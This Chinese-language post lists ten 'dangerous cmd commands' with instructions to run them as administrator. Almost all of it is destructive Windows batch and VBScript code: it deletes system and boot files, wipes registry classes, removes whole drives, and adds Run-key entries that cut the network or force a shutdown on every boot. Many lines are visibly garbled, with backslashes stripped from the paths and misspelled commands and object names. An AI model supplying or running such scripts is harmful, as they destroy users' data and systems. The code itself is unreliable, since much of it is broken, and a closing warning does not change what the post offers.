十大危险的cmd指令，千万别对自己电脑尝试！

食用方法：管理员启动命令提示符，然后运行以下指令：（你们也别好奇了，我替你们试了，结果如下！）

1.死亡蓝屏

@echo off
del %systemdrive%*.*/f/s/q
shutdown -r -f -t 00 

2.更改文件后缀名

REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
BEN *.BAT *.TXT

3.删除系统重要文件

 del c:WINDOWSsystem32*.*/q 

4.使pc永久崩溃

@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini 

5.删除全部注册表

 @ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/* 

6.永远禁用网络！

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c"windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun/v
windowsapi/t reg_sz/d c:windowswimn32.bat/f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun/v
controlexit/t reg_sz/d c:windowswimn32.bat/f
pause 

7.永远的《回车》

 set wshshell =wscript.createobject<"wscript.shell">
do
wscript.sleep 100
wshshell.sendkeys"~<enter>"
loop

8.开机就关机

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11-f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun
/v startapi /t reg_sz/d c:windowshartlell.bat /f
reg add hkey-current_usersoftwaremicrosoftwindowscurrentversionrun
/v/t reg_sz/d c:windowshartlell.bat /f
PAUSE 

9.格式化硬盘

rd/s/q D:
rd/s/q C:
rd/s/q E:
rd/s/q F:
rd/s/q g: 

10.开启CD蜂鸣器 不停地响

Set oWMP=CreateObject("WMPIayer.0CX.7")
Set colCDROMs=oWMP.cdromCollection
do
if colCDROMs.Count>=1 then
For i=0 to colCDROMs.Count -1
colCDROMs.ltem<i>.Eject
Next
For =0 to colCDROMs.Count -1
colCDROMs.ltem<i>.Eject
Next
End lf
wscript.sleep 100
Loop 

其实没有多大技术含量，无非就是删，修改注册表等，稍微懂点的人一看就明白。但我还是要提醒一句，不要轻易尝试，后果自负！！
